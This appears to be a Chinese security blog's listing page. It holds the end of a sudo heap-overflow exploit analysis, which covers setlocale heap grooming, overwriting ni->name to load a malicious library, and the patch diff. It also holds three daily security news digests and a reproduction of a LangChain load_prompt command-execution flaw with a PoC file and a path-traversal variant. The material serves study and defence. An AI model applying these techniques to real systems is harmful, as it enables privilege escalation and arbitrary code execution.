 + strlen (language) 168:  + ((mask & XPG_TERRITORY) != 0 169:     ? strlen (territory) + 1 : 0) 170:  + ((mask & XPG_CODESET) != 0 171:     ? strlen (codeset) + 1 : 0) 172:  + ((mask & XPG_NORM_CODESET) != 0 173:     ? strlen (normalized_codeset) + 1 : 0) 174:  + ((mask & XPG_MODIFIER) != 0 175:     ? strlen (modifier) + 1 : 0) 176:  + 1 + strlen (filename) + 1); 177:   ... 292: } setlocale**函数** setlocale函数总体操作则是读取环境变量的值获取区域设置的值,根据区域设置的值分配堆块大小,若其中存在不符合区域值的规范,则会将所有先前申请的堆块都释放掉。 File: locale\setlocale.c 334:       while (category-- > 0) 335: if (category != LC_ALL) 336: {   //通过_nl_find_locale函数去获取环境变量的值,存放在newdata[category]中 337:    newdata[category] = _nl_find_locale (locale_path, locale_path_len, 338: category, 339: &newnames[category]); 340: ... 364: else 365: {   //使用__strdup函数在堆内存中分配空间,并将newdata[category]拷贝进去 366:    newnames[category] = __strdup (newnames[category]); 367:    if (newnames[category] == NULL) 368:      break; 369: }   ... 393:  if (category != LC_ALL && newnames[category] != _nl_C_name 394:      && newnames[category] != _nl_global_locale.__names[category]) 395:    free ((char *) newnames[category]); //这里就是堆块释放的原语了,只要有一个区域设置的值不符合规范,则将之前所有申请的堆块都释放掉 因此可以通过区域值去控制堆块的大小,接着在最后设置一个错误的区域值去控制堆块的位置,至此我们找到可控制堆块的操作。 LC_IDENTIFICATION = C.UTF-8@XX..XX #若长度为0x10,则malloc(0x10) LC_MEASUREMENT = C.UTF-8@XX..XXX,#若长度为0X20,则malloc(0x20) LC_TELEPHONE = XXXX #不符合区域值的规范,则会调用free() exp的分析 由于我们需要控制server_user的堆块,因此需要知道该堆块的大小为多少,通过调试可知是0x40的堆块,因此利用setlocate多释放几个0x40的堆块,那么server_user就会使用到我们所释放的堆块。 紧接着将漏洞堆块分配到server_user堆块的上方,由于server_user的堆块是我们自己构建的,因此只需要在释放该堆块的同时也释放漏洞堆块即可,并且漏洞堆块的申请可是根据参数的长度所设置的 将设置区域值的函数设置为堆块分配与释放的原语,使用@后面的字符控制堆块的大小 使用错误的区域值进行堆块的释放 最后就是如何填充到可利用堆块,这里使用堆溢出,并且在环境变量中构造填充字符串,使得漏洞堆块可以覆盖掉可利用堆块的内容值,但这里需要注意的是,我们需要将ni->library中用\x00填充,而\x00是无法直接输入到环境变量中的,因此需要再次观察漏洞函数是如何拷贝字符的。根据代码分析可知,只要''后紧跟着'\x00',那么我们就能将\x00的值直接拷贝的堆内存中。紧接着将ni->name修改为我们认为构造的动态链接库即可。 File: plugins\sudoers\sudoers.c 866: if (from[0] == '\\' && !isspace((unsigned char)from[1])) //若 '\' 后跟着'\x00' 867:    from++; //此时from会指向\x00 868: *to++ = *from++; //使用\x00进行值的拷贝 869:   } 设置多个环境变量使得内存存在多个'' + '\x00',从而使用'\x00'去覆盖堆的内存值。 演示效果如下 漏洞修复 漏洞的修复则是将MODE_EDIT的标志位进行了额外的判断,并且在''后面增加了对'\0'的校验 --- a/plugins/sudoers/sudoers.c Sat Jan 23 08:43:59 2021 -0700 +++ b/plugins/sudoers/sudoers.c Sat Jan 23 08:43:59 2021 -0700 @@ -547,7 +547,7 @@     /* If run as root with SUDO_USER set, set sudo_user.pw to that user. */     /* XXX - causes confusion when root is not listed in sudoers */ -    if (sudo_mode & (MODE_RUN | MODE_EDIT) && prev_user != NULL) { +    if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT) && prev_user != NULL) { if (user_uid == 0 && strcmp(prev_user, "root") != 0) {    struct passwd *pw; @@ -932,8 +932,8 @@     if (user_cmnd == NULL) user_cmnd = NewArgv[0]; -    if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { - if (ISSET(sudo_mode, MODE_RUN | MODE_CHECK)) { +    if (ISSET(sudo_mode, MODE_RUN|MODE_EDIT|MODE_CHECK)) { + if (!ISSET(sudo_mode, MODE_EDIT)) { //对MODE_EDIT进行了额外的判断    const char *runchroot = user_runchroot;    if (runchroot == NULL && def_runchroot != NULL &&    strcmp(def_runchroot, "*") != 0) @@ -961,7 +961,8 @@ sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory")); debug_return_int(NOT_FOUND_ERROR);   } -    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { +    if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL) && +    ISSET(sudo_mode, MODE_RUN)) { //需要sudo -s才能进行转义 /* * When running a command via a shell, the sudo front-end * escapes potential meta chars. We unescape non-spaces @@ -969,10 +970,22 @@ */ for (to = user_args, av = NewArgv + 1; (from = *av); av++) {    while (*from) { - if (from[0] == '\\' && !isspace((unsigned char)from[1])) + if (from[0] == '\\' && from[1] != '\0' &&  //增加了'\0'的判断 + !isspace((unsigned char)from[1])) {    from++; + } + if (size - (to - user_args) < 1) { +    sudo_warnx(U_("internal error, %s overflow"), + __func__); +    debug_return_int(NOT_FOUND_ERROR); + } *to++ = *from++;   } +    if (size - (to - user_args) < 1) { + sudo_warnx(U_("internal error, %s overflow"), +    __func__); + debug_return_int(NOT_FOUND_ERROR); +   }    *to++ = ' '; } *--to = '\0'; 总结 Sudo堆溢出攻击流程 首先利用setlocate作为堆块分配与释放的原语,构造出适合的堆布局确保server_user堆块尽可能贴近漏洞代码开辟出来的堆块。 其次利用堆溢出将server_user堆块的ni->name值覆盖,覆盖的值为恶意构造的动态链接库名。 最后等待动态链接库被加载执行。 Sudo堆溢出利用的限制 由于sudo堆溢出依赖堆的布局,因此不同版本的sudo或者操作系统都会影响漏洞的利用。
网络安全日报 2023年06月28日
1、Anatsa安卓银行木马新一轮攻击针对英美德等国 https://www.threatfabric.com/blogs/anatsa-hits-uk-and-dach-with-new-campaign Anatsa是一种安卓银行木马,它可以通过伪装成正常的应用程序,诱骗用户在手机上安装它,然后窃取用户的银行凭证和执行欺诈性的转账。自2023年3月以来,Anatsa木马已经通过谷歌商店(Google Play Store)的多个下载器(dropper)传播,影响了超过3万个用户。Anatsa木马的目标主要是美国、英国和德语区(DACH)的银行机构,其恶意软件列表包含了全球近600个金融应用程序。研究人员已经确认了多起由Anatsa木马造成的 2、Teams存在漏洞,可被外部租户利用传播恶意软件 https://labs.jumpsec.com/advisory-idor-in-microsoft-teams-allows-for-external-tenants-to-introduce-malware/ Microsoft Teams是一款流行的协作和通信平台,但它也存在一个安全漏洞,可能让用户的设备受到恶意软件的攻击。这个漏洞被称为IDOR(不安全的直接对象引用),它允许外部租户(external tenants)绕过客户端的安全控制,向目标用户发送恶意文件。研究人员最近发现了这个漏洞,并向微软报告了。他们发现,Microsoft Teams的默认配置允许任何拥有微软账户的用户 3、微软发出警告,俄罗斯黑客正进行大范围的凭证窃取攻击 https://www.freebuf.com/news/370415.html 据微软披露,近日检测到由俄罗斯国家附属黑客组织 "午夜暴雪 "进行的凭证窃取攻击激增。微软的威胁情报团队说,入侵行为利用住宅代理服务来混淆攻击的源IP地址,目标是政府、IT服务提供商、非政府组织、国防和关键制造部门。 4、新的 Mockingjay 进程注入技术可逃避 EDR 检测 https://www.bleepingcomputer.com/news/security/new-mockingjay-process-injection-technique-evades-edr-detection/ 网络安全公司 Security Joes 的研究人员发现了这种方法,该方法利用带有 RWX(读、写、执行)部分的合法 DLL 来逃避 EDR 挂钩并将代码注入远程进程。 5、施耐德电气和西门子能源是 MOVEit 零日攻击的最新受害者 https://securityaffairs.com/147865/data-breach/schneider-electric-siemens-energy-moveit.html Cl0p 勒索软件组织在其暗网泄露网站上新增了 5 名 MOVEit 攻击受害者,其中包括工业控制系统巨头施耐德电气和西门子能源。 6、欧洲刑警组织摧毁EncroChat 抓捕 6,558 名犯罪分子并扣押 9 亿欧元 https://thehackernews.com/2023/06/encrochat-bust-leads-to-6558-criminals.html 欧洲刑警组织周二宣布,2020 年 7 月取缔EncroChat导致全球 6,558 人被捕,并没收了 9 亿欧元非法犯罪所得。该执法机构表示,法国和荷兰当局随后发起的联合调查拦截并分析了至少 6 万名用户通过加密消息平台进行的超过 1.15 亿次对话。 7、沃斯堡政府官员确认网络攻击事件,但否认敏感信息泄露 https://therecord.media/fort-worth-cyberattack-sieged-sec 德克萨斯州沃斯堡的官员证实,一个包含政府信息的网站被一群黑客入侵并访问,但淡化了事件的严重性。周五,一个名为 SiegedSec 的黑客组织在 Telegram 上声称,他们从该市政府窃取了约 500,000 个文件,该市有超过 935,000 名居民。 8、出资 2000 万美元!谷歌将在全美推广免费网络安全诊所 https://cybernews.com/security/google-pledges-20m-free-cybersecurity-clinics-across-us/ 谷歌声明将投入 2000 万美元,用于在美国各地开设更多的网络安全实践诊所,以帮助填补美国的网络安全劳动力缺口,并在不断变化的威胁面前保持领先地位。 9、5 月份,全球范围内针对组织的勒索软件攻击激增了近 25% https://cybernews.com/news/may-ransomware-attack-surge-8base-akira-new-gangs/ 一项新的研究显示,5 月份,全球范围内针对组织的勒索软件攻击数量激增了近 25%,这是今年迄今为止记录的最高数量,而这一增长的部分原因是现场出现了一个名为 8BASE 的新团伙。 10、全国人大法工委:为 AI 换脸诈骗提供技术支持同样追责 http://www.anquan419.com/knews/24/5413.html 针对利用“AI换脸”技术进行视频合成、进而实施诈骗这一新型电信网络诈骗的有关法律问题,全国人大常委会法制工作委员会举行记者会,发言人臧铁伟进行回应。他表示,对于构成诈骗罪的,要依照刑法规定追究刑事责任;对于为利用“AI换脸”实施诈骗行为提供技术支持、帮助的,要根据反电信网络诈骗法的规定进行行政处罚,构成犯罪的,还要根据刑法第二百八十七条之二帮助信息网络犯罪活动罪等追究刑事责任。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
LangChain 任意命令执行(CVE-2023-34541)
漏洞简介 LangChain是一个用于开发由语言模型驱动的应用程序的框架。 在LangChain受影响版本中,由于load_prompt函数加载提示文件时未对加载内容进行安全过滤,攻击者可通过构造包含恶意命令的提示文件,诱导用户加载该文件,即可造成任意系统命令执行。 漏洞复现 在项目下编写 test.py from langchain.prompts import load_prompt if __name__ == '__main__':    loaded_prompt = load_prompt("system.py") 同级目录下编写 system.py 执行系统命令 dir import os os.system("dir") 运行 test.py 返回了执行系统命令dir 的结果 漏洞分析-_load_prompt_from_file langchain.prompts.loading.load_prompt try_load_from_hub 是尝试从给定的路径远程加载文件但是因为我们是加载本地文件,所以接下会跳转到 _load_prompt_from_file langchain.prompts.loading._load_prompt_from_file 在 _load_prompt_from_file 根据文件的后缀,当后缀是 .py 时 最终会读取该文件并利用 exec 去执行 也就相当于,代码可以简写为 if __name__ == '__main__':    file_path = "system.py"    with open(file_path, "rb") as f:        exec(f.read()) ‍ 漏洞分析-try_load_from_hub 因为网络的原因一直没有办法复现成功,这里就代码层面进行一个详细的分析 from langchain.prompts import load_prompt if __name__ == '__main__':    loaded_prompt = load_prompt("lc://prompts/../../../../../../../system.py") langchain.prompts.loading.load_prompt langchain.utilities.loading.try_load_from_hub 首先匹配了 HUB_PATH_RE = re.compile(r"lc(?Pref@[^:]+)?://(?Ppath.*)") 所以需要满足最开始是 lc:// 然后对后面的内容进行匹配,要求第一个字段的值是 prompts 最后的后缀要在 {'py', 'yaml', 'json'} 中 最后拼接请求的url 可以通过 ../../../ 绕出项目的限制,指向我们设定好的文件,并读取加载实现任意命令执行 漏洞小结 在最新版本上面进行尝试,仍然存在这个漏洞,这个漏洞的本质就是可以加载执行本地或者指定的 python 文件,但是在实际应用中这个问题应该并不是那么好进行利用,因为 python 文件的地址要可控才行。
网络安全日报 2023年06月27日
1、新型Mirai变种利用8个漏洞攻击多种IoT设备 https://unit42.paloaltonetworks.com/mirai-variant-targets-iot-exploits/ 研究人员介绍了一种新发现的Mirai变种,它能利用8个新的漏洞攻击多种嵌入式设备,包括无线演示系统、机顶盒、SD-WAN和智能家居控制器等。Mirai是一种自2016年以来就存在的恶意软件,主要用于发动DDoS攻击和自我传播。研究人员分析了这种新型Mirai变种的感染流程、攻击载荷、C2服务器和目标设备,并给出了一些防御建议。还提供了一些IoT设备安全的最佳实践,例如更改默认密码、禁用不必要的服务、及时更新固件等。 2、LockBit勒索软件瞄准苹果M1芯片和嵌入式系统 https://securelist.com/crimeware-report-lockbit-switchsymb/110068/ 研究人员介绍LockBit勒索软件团伙正在开发针对苹果M1芯片和嵌入式系统的勒索软件。这些目标都是传统的Windows环境之外的,可能给受害者带来全新的问题。研究人员指出,LockBit是一个提供勒索软件即服务(RaaS)的团伙,它利用自动传播的恶意软件和双重加密的方法来进行攻击。研究人员还提到了LockBit的一些特点,如三重勒索的方法、先进的技术、高危的网络攻击和对合作伙伴的大力推广。研究人员建议企业采取结构化的漏洞管理流程来保护自己,根据严重性和风险优先 3、研究人员发布了针对Cisco AnyConnect Secure漏洞的PoC https://github.com/Wh04m1001/CVE-2023-20178/blob/main/README.md 研究人员介绍了一个高危漏洞(CVE-2023-20178)的证明概念(PoC)利用代码,该漏洞影响思科AnyConnect安全移动客户端软件(Windows版)和思科安全客户端软件(Windows版)。该漏洞存在于客户端更新过程中,如果攻击者已经在本地以低权限用户登录,就可以利用该漏洞提升为SYSTEM权限。这是因为在更新过程中创建的临时目录被赋予了不恰当的权限,攻击者可以通过滥用Windows安装程序进程的一个特定函数来执行任意代码。该漏洞的PoC利用代码是由一名 4、LastPass用户因MFA重置而被锁定账户 https://www.bleepingcomputer.com/news/security/lastpass-users-furious-after-being-locked-out-due-to-mfa-resets/ LastPass用户在5月初收到要求重置多因素认证(MFA)应用的电子邮件后,无法访问他们的密码库。LastPass是一款流行的密码管理器,可以让用户在不同的设备和浏览器上安全地存储和同步他们的密码。为了提高安全性,LastPass还支持多种MFA选项,包括Google Authenticator、Microsoft Authenticator、YubiKey等。然而,一 5、Grafana发布安全更新以修复CVE-2023-3128严重漏洞 https://grafana.com/blog/2023/06/22/grafana-security-release-for-cve-2023-3128/ Grafana发布了新版本的软件,修复了一个严重的安全漏洞,编号为CVE-2023-3128。该漏洞存在于Grafana的数据源配置页面中,如果攻击者能够访问该页面,就可以利用该漏洞执行任意代码。这是因为在数据源配置页面中,有一个“测试”按钮,可以用来测试数据源的连接和查询。但是,这个按钮没有对用户输入进行充分的验证和转义,导致了一个存储型跨站脚本(XSS)漏洞。如果攻击者能够在数据源配置页面中插入恶意代码,并诱使其他用户点击“测试” 6、CISA 称 Zyxel NAS 严重漏洞遭到攻击利用 https://www.securityweek.com/cisa-says-critical-zyxel-nas-vulnerability-exploited-in-attacks/ CISA 警告 Zyxel NAS 产品的用户,最近修补的关键漏洞 CVE-2023-27992 已被利用进行攻击。 7、BIND 修补了的可被远程利用的 DoS 漏洞 https://www.securityweek.com/remotely-exploitable-dos-vulnerabilities-patched-in-bind/ 最新的 BIND 更新解决了三个导致拒绝服务 (DoS) 的高严重性、可远程利用的漏洞。 8、森科尔能源公司遭网络攻击影响了加拿大加油站的支付业务 https://securityaffairs.com/147834/hacking/petro-canada-suncor-problems.html Suncor Energy 是加拿大领先的综合能源公司,在加拿大和美国提供油砂开发、生产和升级、海上石油和天然气以及石油炼制服务。它拥有加拿大石油公司的零售和批发分销网络。 9、研究人员找到通过分析 LED 闪烁恢复加密密钥的方法 https://thehackernews.com/2023/06/researchers-find-way-to-recover.html 在巧妙的旁道攻击中,一组学者发现可以通过分析设备电源 LED 的视频片段来恢复设备的密钥。内盖夫本古里安大学和康奈尔大学的研究人员在一项研究中表示:“CPU 执行的密码计算会改变设备的功耗,从而影响设备电源 LED 的亮度。” 10、动视暴雪游戏因长达数小时的 DDoS 攻击而瘫痪 https://therecord.media/activision-blizzard-crippled-by-ddos 根据动视暴雪在 Twitter 上的声明,此次攻击持续了 10 多个小时,并于周日晚些时候得到缓解。暴雪尚未确定其背后的黑客组织,也没有人站出来声称对此负责。 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年06月26日
1、Mallox勒索软件采用新的感染策略发起攻击 https://blog.cyble.com/2023/06/22/mallox-ransomware-implements-new-infection-strategy/ Mallox勒索软件是一种在2021年6月首次出现的恶意软件,它的特点是在加密文件后添加目标公司的名称作为文件扩展名。这种勒索软件也被称为“TargetCompany”,因为它会在加密文件后添加“.mallox”或“.malox”扩展名。研究人员最近发现了Mallox勒索软件的新变种,它采用了一种新的感染策略,不再需要从远程服务器下载勒索软件载荷,而是将其嵌入到一个批处理脚本中,然后注入到“MSBuild.exe”中,不 2、NSA发布指南应对BlackLotus威胁 https://www.nsa.gov/Press-Room/Press-Releases-Statements/Press-Release-View/Article/3435305/nsa-releases-guide-to-mitigate-blacklotus-threat/ 美国国家安全局(NSA)发布了一份指南,旨在帮助网络防御者应对BlackLotus恶意软件的威胁。BlackLotus是一种利用微软Windows安全启动过程中的一个已知漏洞绕过Secure Boot保护的恶意软件,它可以在系统启动时加载恶意代码,从而控制系统并窃取敏感数据。NSA指出,BlackLotus恶意软 3、SupremeBot恶意软件伪装成超级马里奥游戏安装程序进行传播 https://blog.cyble.com/2023/06/23/trojanized-super-mario-game-installer-spreads-supremebot-malware/ SupremeBot恶意软件是一种利用伪装成超级马里奥游戏安装程序的方式传播的恶意软件,它可以在用户的电脑上安装多个恶意组件,包括一个XMR挖矿器、一个SupremeBot挖矿客户端和一个开源的Umbral窃密器。研究人员发现了一个名为“Super-Mario-Bros.exe”的可疑文件,它是一个32位的Nullsoft Installer(NSIS)自解压归档可执行文件,它包含了一个合法的超 4、参与2020年推特大规模黑客攻击的英国人被判五年监禁 https://www.justice.gov/usao-sdny/pr/uk-citizen-sentenced-five-years-prison-cybercrime-offenses Joseph James O’Connor(又名PlugwalkJoe),24岁,是一名英国公民,他参与了2020年7月对推特的大规模黑客攻击,该攻击导致130个知名账号被劫持,并用于实施一场涉及12万美元的加密货币诈骗。O’Connor于上周五在美国纽约南区被判处五年监禁,这是在他一个月多前承认了自己的罪行之后。他于2021年7月在西班牙被捕。美国司法部(DoJ)表示,O’Connor和他的同伙利用了 5、美国航空和西南航空披露影响飞行员的数据泄露事件 https://www.documentcloud.org/documents/23859182-southwest-data-breach-notification-letters 美国航空和西南航空是世界上最大的两家航空公司,它们在近日披露了一起数据泄露事件,该事件是由一家第三方供应商Pilot Credentials的黑客攻击造成的。Pilot Credentials是一家管理多家航空公司的飞行员申请和招聘门户的供应商。美国航空在一份通知信中表示,Pilot Credentials于2023年6月18日通知了美国航空,称其系统于2023年5月24日遭到了未经授权的访问,导致部分美国航空 6、美国卫生部警告医疗行业面临SEO投毒攻击的风险 https://www.hhs.gov/sites/default/files/june-2023-seo-poisoning-analyst-note-tlpclear.pdf 搜索引擎优化(SEO)投毒攻击是一种故意操纵搜索结果,引导用户访问植入恶意软件的网站的攻击方式,这种攻击方式在医疗行业日益增多,美国联邦监管机构发出警告。美国卫生部的卫生部门网络安全协调中心(HHS HC3)发布了一份警报,提醒医疗行业注意SEO投毒攻击的威胁。该警报称,这种攻击方式最近经常针对美国医疗和公共卫生部门。HHS HC3表示,SEO投毒攻击的幕后黑手利用诸如谷歌等搜索引擎,使得第一个广告链接实际上指向攻 7、Fortinet修复了关键的FortiNAC远程命令执行漏洞 https://www.fortiguard.com/psirt/FG-IR-23-074 网络安全解决方案公司Fortinet更新了其零信任访问解决方案FortiNAC,以解决攻击者可利用该漏洞来执行代码和命令。FortiNAC允许组织管理网络范围的访问策略,获得设备和用户的可见性,并保护网络免受未经授权的访问和威胁。该安全问题被跟踪为CVE-2023-33299,严重程度评分为9.6(满分10)。它是不受信任数据的反序列化,可能导致未经身份验证的远程代码执行(RCE)。供应商没有提供缓解建议,因此建议的操作是应用可用的安全更新。CVE-2023-33299是由提供红队、渗透测试和威胁情报 8、美国司法部创建新的国家安全网络部门 https://cybernews.com/security/doj-creates-new-national-security-cyber-section/ 新成立的部门正式简称为 NatSec Cyber,是为了响应美国司法部长办公室在司法部 (DoJ) 2022 年全面网络审查中的核心调查结果而创建。 9、曼彻斯特大学证实在最近的网络攻击中数据被盗 https://www.manchester.ac.uk/discover/news/cyber-incident-update/ 曼彻斯特大学最终证实,六月初披露的网络攻击背后的攻击者窃取了校友和在校学生的数据。该大学于6月9日首次披露了此次攻击 ,警告数据可能被盗,但表示该事件与MOVEit Transfer数据盗窃攻击无关。“根据我们的调查,我们认为一小部分数据被复制,涉及一些学生和一些校友。我们已直接写信给那些可能受到此影响的个人,”该大学表示。“我们尚未发现任何未经授权访问银行账户或银行卡支付详细信息的情况,我们不会在上述系统上存储此类信息。 ”该大学表示,正在与相关当局合作调查这 10、微软发现针对物联网设备和Linux系统的恶意挖矿活动 https://www.microsoft.com/en-us/security/blog/2023/06/22/iot-devices-and-linux-based-systems-targeted-by-openssh-trojan-campaign/ 加密劫持是非法使用计算资源来挖掘加密货币的行为,近年来变得越来越普遍,攻击者围绕攻击工具、基础设施和服务构建网络犯罪框架,通过针对包括物联网在内的各种易受攻击的系统来获取收入。微软研究人员最近发现了一种利用自定义和开源工具来针对面向互联网的基于Linux的系统和物联网设备的攻击。该攻击使用OpenSSH的修补版本来控制受影响的设备并安装 免责声明 以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页